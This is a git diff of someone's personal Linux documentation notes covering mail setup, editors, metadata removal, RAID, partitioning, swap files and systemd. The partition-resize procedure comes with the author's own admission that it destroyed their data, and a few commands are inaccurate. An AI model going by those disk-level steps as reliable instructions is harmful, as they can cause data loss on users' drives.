xdg-mime query filetype *book.pdf*
```
> xdg-mime query filetype *book.pdf*
## Set
Set the mime type of mp4 videos to mpv.
```bash
xdg-mime default mpv.desktop video/mp4
```
> xdg-mime default mpv.desktop video/mp4
You'll need to use the tab key a lot here, and remember many items start with `org`.
You can use an asterisk for everything in a category.
```bash
xdg-mime default org.gnome.font-viewer.desktop font/\*
```
> xdg-mime default org.gnome.font-viewer.desktop font/\*
This often won't work as expected, because some fonts will have the type `application` rather than `font`.

51
system/e-mail.md Normal file
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@ -0,0 +1,51 @@
---
title: "e-mail"
tags: [ "Documentation", "System" ]
---
# Terminology
|MTA | Mail transfer agent |
|POP3| Post Office Protocol 3 |
|SMTP| Simple Mail Transfer Protocol|
|IMAP| Internet Message Access Protocol|
There are a number of Linux e-mail agents - postfix, sendmail, exim (insecure) and qmail (dead).
# Programs
> sudo apt-get install postfix mailutils
This will register your domain in the /etc/postfix/main.cf file.
# Internal Mail
> sendmail -t roach-1
Write a message and stop composition with Ctrl+D.
The mail is kept in /var/mail/ and you can read it with:
> mail
# Aliases
Aliases are groups of mail recipients. The lists are kept under /etc/aliases.
`crew: matthew@gmail.com,ghost,danial@yahoo.com`
Update the list of aliases from this with:
> sudo newaliases
Then you can:
> sendmail -t crew
... and send to the whole crew.
View pending e-mails using:
> mailq

13
system/editors.md
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@ -1,5 +1,5 @@
---
title: "$EDITOR"
title: "editors"
tags: [ "Documentation", "System" ]
---
The System's default text editor can be defined within /etc/profile. It's given the variable `EDITOR`.
@ -16,12 +16,9 @@ export VISUAL=$EDITOR
Then reload that profile with:
```bash
source /etc/profile
```
> source /etc/profile
If you want to ensure `nano` never appears again:
If nano still pops up:
> sudo ln -sf $(which vim) $(which nano)
```bash
sudo ln -sf $(which vim) $(which nano)
```

45
system/elvish.md Normal file
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@ -0,0 +1,45 @@
---
title: "elvish"
tags: [ "Documentation", "System" ]
---
# Setup
To run a shell as non-root, the shell must be listed in /etc/shells.
# Basics
Elvish has an inbuilt calculator.
Basic commands include: *, ^, +. E.g.:
> 2*4+2
#Lists
li = [orcs hobbits elves]
Then either
> echo $li
> echo $@li
> echo $path
# Environmental Variables
Summon with E:, e.g.
> echo $E:USER
# Commands
C-n - File manager
C-l - Recent locations
C-r - Recent commands
See all binding with:
> pprint $edit:insert:binding

25
system/exiftool
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@ -1,38 +1,25 @@
---
title: "exiftool"
tags: [ "Documentation", "Metadata" ]
---
Find metadata.
```bash
exiftool image.jpg
```
> exiftool image.jpg
Find info on all images in current directory.
```bash
exiftool -ext .png .
```
> exiftool -ext .png .
You can make this recurring with the -r switch.
And overwrite all metadata:
```bash
exiftool -all= -overwrite_original -ext jpg .
```
> exiftool -all= -overwrite_original -ext jpg .
Or just GPS data:
```bash
exiftool -gps:all= *.jpg
```
> exiftool -gps:all= *.jpg
You can also use the imagemagick tool:
```bash
identify -verbose
```
> identify -verbose

8
system/fstab.md
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@ -15,9 +15,11 @@ The ordering of `/etc/fstab` is
E.g.:
> UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2
>
> UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
```
UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2
UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
```
## 5: Dump

24
system/kernel.md
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@ -4,38 +4,26 @@ tags: [ "Documentation", "System" ]
---
Check which kernet modules are loaded into memory
```bash
sudo /sbin/lsmod
```
> sudo /sbin/lsmod
Check which virtual box modules are loaded into memory
```bash
sudo /sbin/lsmod | grep vbox
```
> sudo /sbin/lsmod | grep vbox
Virtual box is using vboxpci, vboxnetadp, vboxnetflt, vboxdr.
Look at what's claiming wifi:
```bash
sudo lshw -C network
```
> sudo lshw -C network
If this shows that the device is 'unclaimed' then it's time to add a module, e.g. ath9k.
```bash
sudo modprobe ath9k
```
> sudo modprobe ath9k
Modules can also be 'restarted' by removing and adding them, e.g. the video module, 'uvcvideo':
```bash
sudo rmmod uvcvideo
```
> sudo rmmod uvcvideo
```bash
sudo modprobe uvcvideo
```
> sudo modprobe uvcvideo

75
system/lf.md
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@ -1,75 +0,0 @@
---
title: "lf - The Light File Manager"
tags: [ "Documentation", "File Browser" ]
---
## Config File
If you don't have a `~/.config/lf/lfrc` file, you can probably find an example in `/usr/share/examples/lf`.
```bash
cp -r /usr/share/examples/lf ~/.config/
```
Go straight to root with two keys.
```bash
map g/ cd /
```
Have lf open a file with the default program when you press 'o', using the program `mimeo`.
```bash
map o &mimeo $f
```
Change that default text editor to look at the extension first.
```bash
cmd open ${{
case $(file --mime-type $f -b) in
application/x-sc) sc-im $fx;;
text/html) w3m $fx;;
text/*) $EDITOR $fx;;
video/*) nohup mpv $fx --really-quiet >/dev/null &;;
*) nohup $OPENER $fx >/dev/null &;;
esac
}}
```
The idea here is to use the default `$OPENER` for lf, but first check extensions.
Note the extra `mpv` commands to leave the video to play, without blocking the terminal.
### Interesting Options
You can set the screen ratio with
`set ratios 1:2:3`
That leaves it as a small initial pane, a medium pane, and a large pane for file previews.
### Rename
The standard renaming is bad, because you have to re-type the file extension.
Use this instead:
```bash
# rename current file without overwrite
cmd rename %echo 'name: ' ; read name ; extension="${f##*.}" && newname="$name.$extension"; [ "$f" = "$extension" ] && newname="$name"; [ ! -e "$newname" ] && mv "$f" "$newname" || echo file exists
map r push :rename<enter>
```
If you try to rename `image_1.png` with this command, you can type in `cats`, and the result will be `cats.png`.
## Image Previews
First, install `ueberzug` (to show images).
Then clone the lfrun repo.
```bash
git clone https://github.com/cirala/lfimg.git
cd lfimg
sudo make install
```

16
system/mdadm.md
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@ -7,9 +7,7 @@ tags: [ "Documentation", "RAID" ]
You will need 4 disks and the `mdadm` package.
The total size will be equal to the disks x 3, because one will be used for redundancy.
```bash
sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
```
> sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
Note the variable parts:
@ -19,23 +17,17 @@ Note the variable parts:
Now look at how the raid status:
```bash
cat /proc/mdstat
```
> cat /proc/mdstat
This will increase until the entire thing is fine.
Check the health of your `mdadm` array:
```bash
sudo mdadm --detail /dev/md127
```
> sudo mdadm --detail /dev/md127
You should see `State : clean`. If you see it is `degraded`, then a disk has broken.
## Replacing a Disk
```bash
sudo mdadm --add /dev/md127 /dev/sdb1
```
> sudo mdadm --add /dev/md127 /dev/sdb1

100
system/partitions.md
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@ -4,9 +4,7 @@ tags: [ "Documentation", "System" ]
---
# FDisk Basics
```bash
sudo fdisk /dev/sda
```
> sudo fdisk /dev/sda
- m for help.
@ -31,21 +29,15 @@ fdisk will not help with a GPT formatted drive. For this, use gdisk, which is m
Now that we have a partition, we can make it into a fileSystem. Most will use:
```bash
sudo mkfs -t ext4 /dev/sdc1
```
> sudo mkfs -t ext4 /dev/sdc1
or if you're making a swap partition, you can use:
```bash
sudo mkswap /dev/sdb2
```
> sudo mkswap /dev/sdb2
or for the reiser fileSystem, we can use:
```bash
sudo mkreiserfs /dev/sdc2
```
> sudo mkreiserfs /dev/sdc2
# File System Types
@ -61,87 +53,61 @@ sudo mkreiserfs /dev/sdc2
# Parted
```bash
sudo parted /dev/sdb
```
> sudo parted /dev/sdb
# Monitoring
Look at physical and virtual partitions:
```bash
df -h
```
> df -h
or divide things by inode - the thing which records where files are?
```bash
df -i
```
> df -i
Examine a fileSystem with:
```bash
sudo dumpe2fs /dev/sda1 | less
```
> sudo dumpe2fs /dev/sda1 | less
# Prevention
There are multiple programs which work mostly the same way.
```bash
sudo tune2fs -c 30 /dev/sda1
```
> sudo tune2fs -c 30 /dev/sda1
This will check sda1 every 30 boots. It can also be checked every month.
```bash
sudo tune2fs -i 1m /dev/sda1
```
> sudo tune2fs -i 1m /dev/sda1
This thing can also make a new label for the System:
```bash
sudo tune2fs -L new_name /dev/sdb3
```
> sudo tune2fs -L new_name /dev/sdb3
# Repair
Start by unmounting the fileSystem.
```bash
sudo umount /dev/sdc1
```
> sudo umount /dev/sdc1
Then it's time to check.
```bash
sudo fsck /dev/sdc1
```
> sudo fsck /dev/sdc1
And possibly repair damage:
```bash
e2fsck -p /dev/sdc1
```
> e2fsck -p /dev/sdc1
or the same with:
```bash
sudo debugfs /dev/sdc1
```
> sudo debugfs /dev/sdc1
# Mounting
You can mount with a specified filetype with:
```bash
sudo mount -t ext3 /dev/sdc2 /mnt/stick
```
> sudo mount -t ext3 /dev/sdc2 /mnt/stick
or if you don't know the type, just try the lot:
```bash
sudo mount -a /dev/sdc1 /mnt/stick
```
> sudo mount -a /dev/sdc1 /mnt/stick
# File Systems
xfs and zfs can only be expanded.
@ -152,31 +118,21 @@ NB: When I followed these instructions, the process destroyed my data. Seemed fi
Check the fileSystem's health:
```bash
sudo e2fsck -f /dev/sdb1
```
> sudo e2fsck -f /dev/sdb1
Resize the file System to something smaller than what you want, so here I want 500G and so I resize to 450 G.
```bash
resize2fs /dev/sdb1 450G
```
> resize2fs /dev/sdb1 450G
Then delete the partition with either gdisk or fdisk, depending upon the layout.
```bash
sudo fdisk /dev/sdb
```
> sudo fdisk /dev/sdb
```bash
d
```
> d
Then make a new fileSystem of the desired type with:
```bash
n
```
> n
And finally resize to the full size you want:
@ -193,20 +149,14 @@ Let's start with names. PV = 'Physical Volume', VG = 'Volume Group', and LV = '
Now we can create a volume group out of sdb2 and sdc3:
```bash
sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
```
> sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
Then make a new logical volume out of the volume group:
```bash
sudo lvcreate -n my-new-lv my-new-vg
```
> sudo lvcreate -n my-new-lv my-new-vg
Then have a look at all logical volumes:
```bash
sudo lvscan
```
> sudo lvscan

46
system/swap.md
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@ -4,66 +4,44 @@ tags: [ "Documentation", "basics" ]
---
# Making a Swap File
```bash
cd /var/cache/
```
> cd /var/cache/
```bash
sudo dd if=/dev/zero of=swapfile bs=1K count=4M
```
> sudo dd if=/dev/zero of=swapfile bs=1K count=4M
This creates a swapfile of (1k x 4M) 4 Gigs.
Change 4M to XM for an XGig swap.
```bash
sudo chmod 600 swapfile
```
> sudo chmod 600 swapfile
```bash
sudo mkswap swapfile
```
> sudo mkswap swapfile
```bash
sudo swapon swapfile
```
> sudo swapon swapfile
Test it's working with top
```bash
top -bn1 | grep -i swap
```
> top -bn1 | grep -i swap
or:
```bash
echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
```
> echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
Test it'll work at boot with:
```bash
sudo swapoff swapfile
```
> sudo swapoff swapfile
```bash
sudo swapon -va
```
> sudo swapon -va
# Partition Swaps
Put this in /etc/fstab:
> UUID=blah-blah none swap sw 0 0
`UUID=blah-blah none swap sw 0 0`
Then test it works with:
```bash
sudo swapon -va
```
> sudo swapon -va
Test other partitions in fstab with:
```bash
sudo mount -a
```
> sudo mount -a

8
system/systemd/journal.md
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@ -2,15 +2,11 @@
title: "journal"
tags: [ "Documentation", "systemd" ]
---
```
Find errors since November
```bash
journalctl --since=2018-11-01 --grep="EXT4-fs error"
```
> journalctl --since=2018-11-01 --grep="EXT4-fs error"
Limit size to 2G.
```bash
journalctl --vacuum-size=2G
> journalctl --vacuum-size=2G

7
system/systemd/making-services.md
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@ -26,12 +26,13 @@ WantedBy=multi-user.target
After making the new service, systemd requires reloading:
```bash
sudo systemctl daemon-reload
```
> sudo systemctl daemon-reload
# Types
* simple - the service cannot be called on by others. It runs on repeat.
* oneshot - the service executes once, then stops.

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